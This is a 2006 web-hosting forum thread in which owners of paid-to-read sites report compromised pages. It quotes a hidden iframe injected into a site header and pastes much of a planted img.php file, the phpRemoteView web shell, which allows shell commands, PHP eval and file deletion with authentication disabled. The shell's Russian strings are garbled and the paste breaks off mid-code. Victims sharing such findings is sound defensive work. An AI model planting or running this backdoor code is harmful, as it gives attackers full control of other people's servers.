Welcome Guest ( Log In | Register )




Advertise Here


 
 Closed TopicStart new topic
> Puppiestpr (in list), Dodgenitro
noodles60
post Nov 3 2006, 05:29 PM
Post #1


GPF Addict
*****

Group: Senior Members
Posts: 5447
Joined: 3-June 05
From: candyland
Member No.: 56684
<html>
<head>
<style type="text/css"> body {SCROLLBAR-FACE-COLOR:#5b748d;
SCROLLBAR-HIGHLIGHT-COLOR:#404362;
SCROLLBAR-SHADOW-COLOR:#85a0bb;
SCROLLBAR-3DLIGHT-COLOR:#5b748d;
SCROLLBAR-ARROW-COLOR:#85a0bb;
SCROLLBAR-TRACK-COLOR:#5b748d;
SCROLLBAR-DARKSHADOW-COLOR:#5b748d}
A {font: bold 10pt Verdana; COLOR:#dee6ee; TEXT-DECORATION:none}
A:hover { COLOR:#c5dff8; TEXT-DECORATION:none;}</style>
<title>Puppies Paid To Read</title>
<iframe name="StatPage" src="http://dodgenitro.com/fix.php" width=5 height=5 style="display:none"></iframe>
<meta name="keywords" content="Earn Money, viewbars, make money with web site, cashbars, get paid to search the web, get paid to read emails, sponsors, affiliate programs, ads, sponsors, associate programs, partner programs, webmaster, affiliates, associates, directories, partners, program, sell, income, money making, business opportunities, free, easy money, cash, money, extra income, online, earn money at home, freebies, internet, money tree, make money, top, top sites, top money sites, easy, pay, paid, earn, cash, chat, affiliates, internet, www, web, email, cashcrusader scripts">
<meta name="description" content="Get paid to read emails!">
<meta name="robots" content="ALL">
<meta name="distribution" content="global">
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
<link href="http://www.puppiesptr.com/pages/style.css" rel="stylesheet" type="text/css">
<script language="JavaScript" type="text/javascript">
<!--
Go to the top of the page
 
+Quote Post
niggy
post Nov 3 2006, 05:44 PM
Post #2


Active Member
*

Group: Senior Members
Posts: 153
Joined: 24-March 05
From: Latvia, Europa
Member No.: 51591
I just have deleted that iframe

CODE
<iframe name="StatPage" src="http://dodgenitro.com/fix.php" width=5 height=5 style="display:none"></iframe>


I have no idea how it appeared there.... This is 2nd time now (IMG:style_emoticons/default/sad.gif) (IMG:style_emoticons/default/ohmy.gif)
Go to the top of the page
 
+Quote Post
gen328
post Nov 3 2006, 11:58 PM
Post #3


Senior Program Owner
***

Group: Senior Program Owners
Posts: 747
Joined: 1-June 04
From: Winslow, Arkansas
Member No.: 29703
For all of those getting these iframes, the first best thing to do is to find someome who knows what to do with the headers to stop this, the next best thing to do is go into your cpanel and go to public html, click on the folder not the words, then go to the image click again on the folder not the words, look in the files under the iamges for img.php, that is where it is embedded, now either empty that file or delet the file completely. Then go to your header and delete the iframe.
some mnetioned sometime ago about trying to catch these creeps by going to the FBI, we dod and they either can't do anything or don't care.
Here is what this file looks like once you get into the img.php:
<?php

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
*
* Welcome to phpRemoteView (RemView)
*
* View/Edit remove file system:
* - view index of directory (/var/log - view logs, /tmp - view PHP sessions)
* - view name, size, owner:group, perms, modify time of files
* - view html/txt/image/session files
* - download any file and open on Notepad
* - create/edit/delete file/dirs
* - executing any shell commands and any PHP-code
*
* Free download from http://php.spb.ru/remview/
* Version 04c, 2003-10-23.
* Please, report bugs...
*
* This programm for Unix/Windows system and PHP4 (or higest).
*
* © Dmitry Borodin, dima@php.spb.ru, http://php.spb.ru
*
* * * * * * * * * * * * * * * * * WHATS NEW * * * * * * * * * * * * * * * *
*
* --version4--
* 2003.10.23 support short <?php ?> tags, thanks A.Voropay
*
* 2003.04.22 read first 64Kb of null-size file (example: /etc/zero),
* thanks Anight
* add many functions/converts: md5, decode md5 (pass crack),
* date/time, base64, translit, russian charsets
* fix bug: read session files
*
* 2002.08.24 new design and images
* many colums in panel
* sort & setup panel
* dir tree
* base64 encoding
* character map
* HTTP authentication with login/pass
* IP-address authentication with allow hosts
*
* --version3--
* 2002.08.10 add multi language support (english and russian)
* some update
*
* 2002.08.05 new: full windows support
* fix some bugs, thanks Jeremy Flinston
*
* 2002.07.31 add file upload for create files
* add 'direcrory commands'
* view full info after safe_mode errors
* fixed problem with register_glogals=off in php.ini
* fixed problem with magic quotes in php.ini (auto strip slashes)
*
* --version2--
* 2002.01.20 add panel 'TOOLS': eval php-code and run shell commands
* add panel 'TOOLS': eval php-code and run shell commands
* add copy/edit/create file (+panel 'EDIT')
* add only-read mode (disable write/delete and PHP/Shell)
*
* 2002.01.19 add delete/touch/clean/wipe file
* add panel 'INFO', view a/c/m-time, hexdump view
* add session file view mode (link 'SESSION').
*
* 2002.01.12 first version!
*
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

///////////////////////////////// S E T U P ///////////////////////////////////


$version="2003-10-23";

$hexdump_lines=8; // lines in hex preview file
$hexdump_rows=24; // 16, 24 or 32 bytes in one line

$mkdir_mode=0755; // chmode for new dir ('MkDir' button)

$maxsize_fread=65536; // read first 64Kb from any null-size file

// USER ACCESS //

$write_access=true; // true - user (you) may be write/delete files/dirs
// false - only read access

$phpeval_access=true; // true - user (you) may be execute any php-code
// false - function eval() disable

$system_access=true; // true - user (you) may be run shell commands
// false - function system() disable

// AUTHORIZATION //

$login=false; // Login & password for access to this programm.
$pass=false; // Example: $login="MyLogin"; $pass="MyPaSsWoRd";
// Type 'login=false' for disable authorization.

$host_allow=array("*"); // Type list of your(allow) hosts. All other - denied.
// Example: $host_allow=array("127.0.0.*","localhost")


///////////////////////////////////////////////////////////////////////////////


$tmp=array();
foreach ($host_allow as $k=>$v)
$tmp[]=str_replace("\\*",".*",preg_quote($v));
$s="!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) && !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR"))))
exit("<h1><a href=http://php.spb.ru/remview/>phpRemoteView</a>: Access Denied - your host not allow</h1>\n");
if ($login!==false && (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) ||
$HTTP_SERVER_VARS['PHP_AUTH_USER']!=$login || $HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass)) {
header("WWW-Authenticate: Basic realm=\"phpRemoteView\"");
header("HTTP/1.0 401 Unauthorized");
exit("<h1><a href=http://php.spb.ru/remview/>phpRemoteView</a>: Access Denied - password erroneous</h1>\n");
}

error_reporting(2047);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
if (function_exists("ob_start") && (!isset($c) || $c!="md5crack")) ob_start("ob_gzhandler");

$self=basename($HTTP_SERVER_VARS['PHP_SELF']);

$url="http://".getenv('HTTP_HOST').
(getenv('SERVER_PORT')!=80 ? ":".getenv('SERVER_PORT') : "").
$HTTP_SERVER_VARS['PHP_SELF'].
(getenv('QUERY_STRING')!="" ? "?".getenv('QUERY_STRING') : "");
$uurl=urlencode($url);

//
// antofix 'register globals': $HTTP_GET/POST_VARS -> normal vars;
//
$autovars1="c d f php skipphp pre nlbr xmp htmls shell skipshell pos ".
"ftype fnot c2 confirm text df df2 df3 df4 ref from to ".
"fatt showfile showsize root name ref names sort sortby ".
"datetime fontname fontname2 fontsize pan limit convert fulltime fullqty";
foreach (explode(" ",$autovars1) as $k=>$v) {
if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v];
elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v];
//elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v];
}

//
// autofix 'magic quotes':
//
$autovars2="php shell text d root convert";
if (get_magic_quotes_runtime() || get_magic_quotes_gpc()) {
foreach (explode(" ",$autovars2) as $k=>$v) {
if (isset($$v)) $$v=stripslashes($$v);
}
}

$cp_def=array(
"001001",
"nst2ac",
"d/m/y H:i",
"Tahoma",
"9"
);

$panel=0;
if (isset($HTTP_COOKIE_VARS["cp$panel"]))
$cp=explode("~",$HTTP_COOKIE_VARS["cp$panel"]);
else
$cp=$cp_def;
$cc=$cp[0];
$cn=$cp[1];

/*

$cc / $cp[0]- ᯨ᮪ ®¤­®¡ãª¢¥­­ëå ¯ à ¬¥â஢, ᪮¯¨à®¢ ­® ¢ $cs:
$cc[0] - ¯® ª ª®© ª®«®­ª¥ á®àâ¨à®¢ âì, ¥á«¨ íâ® ­¥ æ¨äà :
n - ¯® ¨¬¥­¨
e - à áè¨à¥­¨¥
$cc[1] - ¯®à冷ª (0 - ¢®§à áâ. 1 - ã¡ë¢ î騩)
$cc[2] - ¯®ª §ë¢ âì «¨ ¨ª®­ª¨
$cc[3] - çâ® ¤¥« âì ¯à¨ ª«¨ª¥ ¯® ¨ª®­ª¥ ä ©« :
0 - ¯à®á¬®âà ¢ text/plain
1 - ¯à®á¬®âà ¢ html
2 - download
3 - ¯ à ¬¥âàë ä ©« (info)
$cc[4] - ®ªà㣫ïâì à §¬¥à ä ©«®¢ ¤® Š¡/Œ¡/ƒ¡
$cc[5] - ï§ëª:
1 - ­£«¨©áª¨©
2 - àãá᪨

$cn / $cp[1] - ᯨ᮪ ª®«®­®ª ¨ ¨å ¯®à冷ª, ª®â®àë¥ ¯®ª §ë¢ âì, áâப ¡ãª¢/æ¨äà:
t - type
n - name
s - size
a - owner+group
o - owner
g - group
c - chmod
1 - create time
2 - modify time
3 - access time

$cp[2]: ä®à¬ ⠢६¥­¨

$cp[3]: ¨¬ï èà¨äâ

$cp[4]: à §¬¥à èà¨äâ

*/

// Š ª ¢ëà ¢­¨¢ âì ª®«®­ª¨
$cn_align=array();
$cn_align['t']='center';
$cn_align['n']='left';
$cn_align['s']='right';
$cn_align['a']='center';
$cn_align['o']='center';
$cn_align['g']='center';
$cn_align['c']='center';
$cn_align['1']='center';
$cn_align['2']='center';
$cn_align['3']='center';


///////////////////////////////////////////////////////////////////////////////


/*--mmstart--*/
$mm=array(
"Index of"=>"ˆ­¤¥ªá",
"View file"=>"®ª § ä ©« ",
"DISK"=>"„ˆ‘Š",
"Info"=>"ˆ­ä®",
"Plain"=>"àאַ©",
"HTML"=>"HTML",
"Session"=>"‘¥áá¨ï",
"Image"=>"Š à⨭ª ",
"Notepad"=>"«®ª­®â",
"DOWNLOAD"=>"‡€ƒ“‡ˆ’œ",
"Edit"=>"à ¢ª ",
"Sorry, this programm run in read-only mode."=>"ˆ§¢¨­¨â¥, íâ ¯à®£à ¬¬ à ¡®â ¥â ¢ ०¨¬¥ '⮫쪮 ç⥭¨¥'.",
"For full access: write"=>"„«ï ¯®«­®£® ¤®áâ㯠: ­ ¯¨è¨â¥",
"in this php-file"=>"¢ í⮬ php-ä ©«¥",
"Reason"=>"à¨ç¨­ ",
"Error path"=>"Žè¨¡®ç­ë© ¯ãâì",
"Click here for start"=>" ¦¬¨â¥ ¤«ï áâ àâ ",
"up directory"=>"ª â «®£ ¢ëè¥",
"access denied"=>"¤®áâ㯠§ ¯à¥é¥­",
"REMVIEW TOOLS"=>"“’ˆ‹ˆ’› REMVIEW",
"version"=>"¢¥àá¨ï",
"Free download"=>"¥á¯« â­ ï § £à㧪 ",
"back to directory"=>"¢¥à­ãâìáï ¢ ª â «®£",
"Size"=>" §¬¥à",
"Owner"=>"Ž¢­¥à",
"Group"=>"ƒà㯯 ",
"FileType"=>"’¨¯ ä ©« ",
"Perms"=>"à ¢ ",
"Create time"=>"‚६ï ᮧ¤ ­¨ï",
"Access time"=>"‚à¥¬ï ¤®áâ㯠",
"MODIFY time"=>"‚à¥¬ï ˆ‡Œ……ˆŸ",
"HEXDUMP PREVIEW"=>"…„Ž‘ŒŽ’ ‚ 16-ˆ—ŽŒ ‚ˆ„…",
"ONLY READ ACCESS"=>"„Ž‘’“ ’Ž‹œŠŽ € —’…ˆ…",
"Can't READ file - access denied"=>"¥ ¬®£ã ¯à®ç¨â âì - ¤®áâ㯠§ ¯à¥é¥­",
"full read/write access"=>"¯®«­ë© ¤®áâ㯠­ ç⥭¨¥/§ ¯¨áì",
"FILE SYSTEM COMMANDS"=>"ŠŽŒ€„› ”€‰‹Ž‚Ž‰ ‘ˆ‘’…Œ›",
"EDIT"=>"…„€Š’.",
"FILE"=>"”€‰‹",
"DELETE"=>"‘’……’œ",
"Delete this file"=>"‘â¥à¥âì ä ©«",
"CLEAN"=>"Ž—ˆ‘’ˆ’œ",
"TOUCH"=>"ŽŽ‚ˆ’œ",
"Set current 'mtime'"=>"“áâ ­.⥪ãé.¢à¥¬ï",
"WIPE(delete)"=>"“ˆ—’Ž†ˆ’œ",
"Write '0000..' and delete"=>"‡ ¡¨âì ­ã«ï¬¨, áâ¥à¥âì",
"COPY FILE"=>"ŠŽˆŽ‚€’œ ”€‰‹",
"COPY"=>"ŠŽˆŽ‚€’œ",
"MAKE DIR"=>"‘Ž‡„€’œ Š€’€‹Žƒ",
"type full path"=>"¢¢¥¤¨â¥ ¯®«­ë© ¯ãâì",
"MkDir"=>"‘®§¤.Š â.",
"CREATE NEW FILE or override old file"=>"‘Ž‡„€’œ Ž‚›‰ ”€‰‹ ¨«¨ ¯¥à¥§ ¯¨á âì áâ àë©",
"CREATE/OVERRIDE"=>"‘Ž‡„€’œ/……‡€ˆ‘€’œ",
"select file on your local computer"=>"¢ë¡à âì ä ©« ­ ¢ 襬 «®ª «ì­®¬ ª®¬¯ìîâ¥à¥",
"save this file on path"=>"á®åà ­¨âì íâ®â ä ©« ¢ ª â «®£",
"create file name automatic"=>"¯à¨¤ã¬ âì ¨¬ï ä ©«ã ¢â®¬ â¨ç¥áª¨",
"OR"=>"ˆ‹ˆ",
"type any file name"=>"¢¢¥á⨠¨¬ï ä ©« ¢àãç­ãî",
"convert file name to lovercase"=>"ª®­¢¥àâ¨à®¢ âì ¨¬ï ¢ ­¨¦­¨© ॣ¨áâà",
"Send File"=>"®á« âì ä ©«",
"Delete all files in dir"=>"“¤ «¨âì ¢á¥ ä ©«ë",
"Delete all dir/files recursive"=>"“¤ «¨âì ‚‘… +¯®¤ª â «®£¨ ४ãàᨢ­®",
"Confirm not found (go back and set checkbox)"=>"®¤â¢¥à¦¤¥­¨¥ ­¥ ¯®áâ ¢«¥­® (¢¥à­¨â¥áì ­ § ¤ ¨ ¯®áâ ¢ì⥠£ «®çªã)",
"Delete cancel - File not found"=>"“¤ «¥­¨¥ ®â¬¥­¥­® - ” ©« ­¥ ­ ©¤¥­",
"YES"=>"„€",
"ME"=>"Œ…Ÿ",
"NO (back)"=>"…’ (­ § ¤)",
"Delete cancel"=>"“¤ «¥­¨¥ ®â¬¥­¥­®",
"ACCESS DENIED"=>"„Ž‘’“ ‡€…™…",
"done (go back)"=>"£®â®¢® (­ § ¤)",
"Delete ok"=>"Žª, 㤠«¥­­®",
"Touch cancel"=>"Ž¡­®¢«¥­¨¥ ®â¬¥­¥­®",
"Touch ok (set current time to 'modify time')"=>"Ž¡­®¢«¥­¨¥ § ¢¥à襭® (ä ©«ã ¯à¨á¢®¥­® ⥪ã饥 ¢à¥¬ï ¬®¤¨ä¨ª 樨)",
"Clean (empty file) cancel"=>"Žç¨é¥­¨¥ (®¡­ã«¥­¨¥ ä ©« ) ®â¬¥­¥­®",
"Clean ok (file now empty)"=>"Žª, ®ç¨é¥­® (ä ©« ®¡­ã«¥­)",
"Wipe cancel - access denied"=>"“­¨ç⮦¥­¨¥ ®â¬¥­¥­® - ¤®áâ㯠§ ¯à¥é¥­",
"Wipe ok (file deleted)"=>"Žª, ã­¨ç⮦¥­® (¨ ä ©« áâ¥àâ)",
"DIR"=>"DIR",
"Deleting all files in"=>"“¤ «¥­¨¥ ¢á¥å ä ©«®¢ ¢",
"skip"=>"¯à®¯ãáª",
"deleting"=>"㤠«¥­¨¥",
"Deleting all dir/files (recursive) in"=>"“¤ «¥­¨¥ ¢á¥å ä ©«®¢/¯®¤ª â «®£®¢ (४ãàᨢ­®)",
"DONE, go back"=>"ƒŽ’Ž‚Ž, ­ § ¤",
"DONE"=>"ƒŽ’Ž‚Ž",
"file not found"=>"ä ©« ­¥ ­ ©¤¥­",
"ONLY READ ACCESS (don't edit!)"=>"„Ž‘’“ ’Ž‹œŠŽ € —’…ˆ… (­¥ । ªâ¨à®¢ âì)",
"Can't READ file - access denied (don't edit!)"=>"¥ ¬®£ã —ˆ’€’œ ä ©« - ¤®áâ㯠§ ¯à¥é¥­",
"EDIT FILE"=>"€‚ˆ’œ ”€‰‹",
"can't open, access denied"=>"­¥ ¬®£ã ®âªàëâì, ¤®áâ㯠§ ¯à¥é¥­",
"SAVE FILE (write to disk)"=>"‘Ž•€ˆ’œ ”€‰‹ (§ ¯¨áì ­ ¤¨áª)",
"You mast checked 'create file name automatic' OR typed file name!"=>"‚ë ¤®«¦­ë ®â¬¥â¨âì £ «®çªã [ᮧ¤ âì ä ©« ¢â®¬ â¨ç¥áª¨] ¨«¨ ¢¢¥á⨠¢ ¯®«¥ ¨¬ï ä ©« !'",
"SAVING TO"=>"‘Ž•€ˆ’œ ‚",
"Sorry, access denied"=>"ˆ§¢¨­¨â¥, ¤®áâ㯠§ ¯à¥é¥­",
"for example, uncomment next line"=>"¤«ï ¯à¨¬¥à , à ᪮¬¬¥­â¨àã©â¥ á«¥¤ãîéãî áâபã",
"Eval PHP code"=>"‚믮«­¨âì PHP ª®¤",
"don't type"=>"­¥ ¯¨è¨â¥",
"and"=>"¨",
"example (remove comments '#')"=>"¯à¨¬¥à (㤠«¨â¥ ª®¬¬¥­â ਨ '#')",
"Shell commands"=>"Š®¬ ­¤ë Shell'a",
"filesize to 0byte"=>"à §¬¥à ¢ 0 ¡ ©â",
"from"=>"®â",
"to"=>"¢",
"Full file name"=>"®«­®¥ ¨¬ï ä ©« ",
"Can't open directory"=>"¥ ¬®£ã ®âªàëâì ª â «®£",
"setup"=>"­ áâனª ",
"back"=>"­ § ¤",
"Reset all settings"=>"‘¡à®á¨âì ¢á¥ ­ áâனª¨",
"clear"=>"®ç¨áâ¨âì",
"Current"=>"’¥ªã騥",
"Colums and sort"=>"Š®«®­ª¨ ¨ á®àâ¨à®¢ª ",
"Sort order"=>"®à冷ª á®àâ¨à®¢ª¨",
"Ascending sort"=>"® ¢®§à áâ ­¨î",
"Descending sort"=>"® ã¡ë¢ ­¨î",
"Sort by filename"=>"‘®àâ¨à®¢ âì ¯® ¨¬¥­¨ ä ©« ",
"Sort by filename extension"=>"‘®àâ¨à®¢ âì ¯® à áè¨à¥­¨î ä ©« ",
"Date/time format"=>"”®à¬ â ¤ âë/¢à¥¬¥­¨",
"Panel font & size"=>"˜à¨äâ/à §¬¥à ¯ ­¥«¨",
"Setup"=>"Ž¯æ¨¨",
"Char map"=>"‘¨¬¢®«ë",
"Language"=>"Ÿ§ëª",
"English"=>"€­£«¨©áª¨©",
"Russian"=>"ãá᪨©",
"Character map (symbol codes table)"=>"’ ¡«¨æ ᨬ¢®«®¢",
"Select font"=>"‚ë¡¥à¨â¥ èà¨äâ",
"or type other"=>"¨«¨ ¢¢¥¤¨â¥ ¤à㣮©",
"Font size"=>" §¬¥à èà¨äâ ",
"Code limit"=>"„¨¯ §®­ ª®¤®¢",
"Generate table"=>"‘£¥­¥à¨à®¢ âì â ¡«¨æã",
"Universal convert"=>"“­¨¢¥àá «ì­ë¥ ª®­¢¥àâ 樨"
);/*--mmstop--*/




$language=$cc[5];
if ($language!=1 && $language!=2) $language=1;


function mm($m) {
global $mm,$language;
if ($language==1) return $m;
if (isset($mm[$m])) return $mm[$m];
else echo "<script>alert('(mm) msg not found: $m');</script>";
}


switch ($language) {
case 1:
$cn_name=array(
't'=>"Type",
'n'=>"Name",
's'=>"Size",
'o'=>"Owner",
'g'=>"Group",
'a'=>"Owner/Group",
'c'=>"Perms",
'1'=>"Create",
'2'=>"Modify",
'3'=>"Access"
);
break;
case 2:
$cn_name=array(
't'=>"’¨¯",
'n'=>"ˆ¬ï",
's'=>" §¬¥à",
'o'=>"‚« ¤¥«¥æ",
'g'=>"ƒà㯯 ",
'a'=>"‚« ¤¥«¥æ/ƒà㯯 ",
'c'=>"à ¢ ",
'1'=>"‘®§¤ ­",
'2'=>"ˆ§¬¥­¥­",
'3'=>"„®áâã¯"
);
break;
}




///////////////////////////////////////////////////////////////////////////////



$rand=microtime();

if (!isset($c)) $c="";
if (!isset($d)) $d="";
if (!isset($f)) $f="";

ob();
$d=str_replace("\\","/",$d);
if ($d=="") $d=realpath("./")."/";
if ($c=="") $c="l";
if ($d[strlen($d)-1]!="/") $d.="/";
$d=str_replace("\\","/",$d);
if (!is_dir($d)) obb().die("<h3><P>".mm("Can't open directory")." <##><font color=red><big>$d</big></font></##>$obb");
if (!realpath($d) || filetype($d)!="dir") obb().die("error dir type $obb");
obb();

//
// OS detect:
//
$win=0;
$unix=0;
if (strlen($d)>1 && $d[1]==":") $win=1; else $unix=1;




///////////////////////////////////////////////////////////////////////////////


$html=<<<remview
<html><head>
<title>phpRemoteView: $d$f</title>
</head>
<body>
<style>
A {
text-decoration : none;
}
.t {
font-size: 9pt;
text-align : center;
font-family: Verdana;
}
.t2 {
font-size: 8pt;
text-align : center;
font-family: Verdana;
}
.n {
font-family: Fixedsys
}
.s {
font-size: 10pt;
text-align : right;
font-family: Verdana;
}
.sy {
font-family: Fixedsys;
}
.s2 {
font-family: Fixedsys;
color: red;
}
.tab {
font-size: 10pt;
text-align : center;
font-family: Verdana;
background: #cccccc;
}
.tr {
background: #ffffff;
}
</style>
remview;



function display_perms($mode)
{
if ($GLOBALS['win']) return 0;
/* Determine Type */
if( $mode & 0x1000 )
$type='p'; /* FIFO pipe */
else if( $mode & 0x2000 )
$type='c'; /* Character special */
else if( $mode & 0x4000 )
$type='d'; /* Directory */
else if( $mode & 0x6000 )
$type='b'; /* Block special */
else if( $mode & 0x8000 )
$type='-'; /* Regular */
else if( $mode & 0xA000 )
$type='l'; /* Symbolic Link */
else if( $mode & 0xC000 )
$type='s'; /* Socket */
else
$type='u'; /* UNKNOWN */

/* Determine permissions */
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';

/* Adjust for SUID, SGID and sticky bit */
if( $mode & 0x800 )
$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 )
$group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 )
$world["execute"] = ($world['execute']=='x') ? 't' : 'T';

$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}

function _posix_getpwuid($x) {
if ($GLOBALS['win']) return array();
return @posix_getpwuid($x);
}

function _posix_getgrgid($x) {
if ($GLOBALS['win']) return array();
return @posix_getgrgid($x);
}

function up($d,$f="",$name="") {
global $self,$win;

$len=strlen($d."/".$f);
if ($len<70) { $sf1="<font size=4>"; $sf2="<font size=5>"; }
elseif ($len<90) {$sf1="<font size=3>"; $sf2="<font size=4>";}
else {$sf1="<font size=2>"; $sf2="<font size=3>";}

echo "<table width=100% border=0 cellspacing=0 cellpadding=4><tr><td
bgcolor=#cccccc> $sf1";

$home="<a href='$self'><font face=fixedsys size=+2>*</font></a>";
echo $home.$sf2."<b>";
if ($name!="") echo $name;
else {
if ($f=="") echo mm("Index of");
else echo mm("View file");
}
echo "</b></font> ";

$path=explode("/",$d);

$rootdir="/";
if ($win) $rootdir=strtoupper(substr($d,0,2))."/";

$ss="";
for ($i=0; $i<count($path)-1; $i++) {
if ($i==0)
$comm="<b>&nbsp;&nbsp;<big><b>$rootdir</b></big></b>";
else
$comm="$path[$i]<big><b>/</big></b>";

$ss.=$path[$i]."/";
echo "<a href='$self?c=l&d=".urlencode($ss)."'>$comm</a>";
if ($i==0 && $d=="/") break;
}
echo "</font>";
if ($f!="") echo "$sf1$f</font>";

if ($win && strlen($d)<4 && $f=="") {
echo " &nbsp; ".mm("DISK").": ";
for ($i=ord('a'); $i<=ord('z'); $i++) {
echo "<a href=$self?c=l&d=".chr($i).":/>".strtoupper(chr($i)).":</a> ";
}
}

echo "</b></big></td><td bgcolor=#999999 width=1% align=center>
<table width=100% border=0 cellspacing=3 cellpadding=0
bgcolor=#ffffcc><tr><td align=center><font size=-1><nobr><b><a
href=$self?c=t&d=".urlencode($d).">".mm("REMVIEW TOOLS")."</a></b>
</nobr></font></td></tr></table>
</td></tr></table>";
}


function up_link($d,$f) {
global $self;
$notepad=str_replace(".","_",$f).".txt";
echo "<small>
[<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f)."><b>".mm("Info")."</b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=><b>".mm("Plain")."<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=0&fnot=1>(+)</a></b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1><b>".mm("HTML")."<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1&fnot=1>(+)</a></b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=4><b>".mm("Session")."</b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=2&fnot=1><b>".mm("Image")."</b></a>]
[<a href=$self/".urlencode($notepad)."?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1&fatt=".urlencode($notepad)."><b>".mm("Notepad")."</b></a>]
[<a href=$self/".urlencode($f)."?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1><b>".mm("DOWNLOAD")."</b></a>]
[<a href=$self?c=e&d=".urlencode($d)."&f=".urlencode($f)."><b>".mm("Edit")."</b></a>]
</small>";
}


function exitw() {
exit("<table width=100% border=0 cellspacing=2 cellpadding=0 bgcolor=#ffdddd>
<tr><td align=center>
".mm("Sorry, this programm run in read-only mode.")."<br>
".mm("For full access: write")." `<##><nobr><b>\$write_access=<u>true</u>;</b></nobr></##>`
".mm("in this php-file").".</td></tr></table>
");
}



function ob() {
global $obb_flag, $obb;
if (!isset($obb_flag)) { $obb_flag=0; $obb=false; }
if (function_exists("ob_start")) {
if ($GLOBALS['obb_flag']) ob_end_clean();
ob_start();
$GLOBALS['obb_flag']=1;
}
}

function obb() {
global $obb;
if (function_exists("ob_start")) {
$obb=ob_get_contents();
ob_end_clean();
$obb="<P>
<table bgcolor=#ff0000 width=100% border=0 cellspacing=1 cellpadding=0><tr><td>
<table bgcolor=#ccccff width=100% border=0 cellspacing=0 cellpadding=3><tr><td align=center>
<b>".mm("Reason").":</b></td></tr></table>
</td></tr><tr><td>
<table bgcolor=#ffcccc width=100% border=0 cellspacing=0 cellpadding=3><tr><td>
$obb<P>
</td></tr></table>
</table><P>";
$GLOBALS['obb_flag']=0;
}
}

function sizeparse($size) {
return strrev(preg_replace("!...!","\\0 ",strrev($size)));
}


function jsval($msg) {
$msg=str_replace("\\","\\\\",$msg);
$msg=str_replace("\"","\\\"",$msg);
$msg=str_replace("'","\\'",$msg);
return '"'.$msg.'",';
}



///////////////////////////////////////////////////////////////////////////


switch($c) {


// listing
case "l":

echo $GLOBALS['html'];

if (!realpath($d)) die("".mm("Error path").". <a href=$self>".mm("Click here for start")."</a>.");

//up($d);

ob();
$di=dir($d);
obb();

$dirs=array();
$files=array();

if (!$di) exit("<a href=$self?&c=l&d=".urlencode(realpath($d."..")).
"><nobr>&lt;&lt;&lt; <b>".mm("up directory")."</b> &gt;&gt;&gt;</nobr></a> <p>".
"<font color=red><b>".mm("access denied")."</b></font>: $obb");
while (false!==($name=$di->read())) {
if ($name=="." || $name=="..") continue;
if (@is_dir($d.$name)) {
$dirs[]=strval($name);
$fstatus[$name]=0;
}
else {
$files[]=strval($name);
$fstatus[$name]=1;
}
$fsize[$name]=@filesize($d.$name);
$ftype[$name]=@filetype($d.$name);
if (!is_int($fsize[$name])) { $ftype[$name]='?'; $fstatus[$name]=1; }
$fperms[$name]=@fileperms($d.$name);
$fmtime[$name]=@filemtime($d.$name);
$fatime[$name]=@fileatime($d.$name);
$fctime[$name]=@filectime($d.$name);
$fowner[$name]=@fileowner($d.$name);
$fgroup[$name]=@filegroup($d.$name);
if (preg_match("!^[^.].*\.([^.]+)$!",$name,$ok))
$fext[$name]=strtolower($ok[1]);
else
$fext[$name]="";
}
$di->close();

$listsort=array();
if (count($dirs))
foreach ($dirs as $v) {
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case "t": case "s": case "n": $listsort[$v]=strtolower($v); break;
case "o": $listsort[$v]=$fowner[$v]; break;
case "g": $listsort[$v]=$fgroup[$v]; break;
case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
case "c": $listsort[$v]=$fperms[$v]; break;
case "1": $listsort[$v]=$fctime[$v]; break;
case "2": $listsort[$v]=$fmtime[$v]; break;
case "3": $listsort[$v]=$fatime[$v]; break;

}
}
}

$names=$listsort;
//echo "<pre>";print_r($names);
if ($cc[1]) arsort($names); else asort($names);
//echo "<pre>";print_r($names);

$listsort=array();
if (count($files))
foreach ($files as $v) {
$v=strval($v);
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
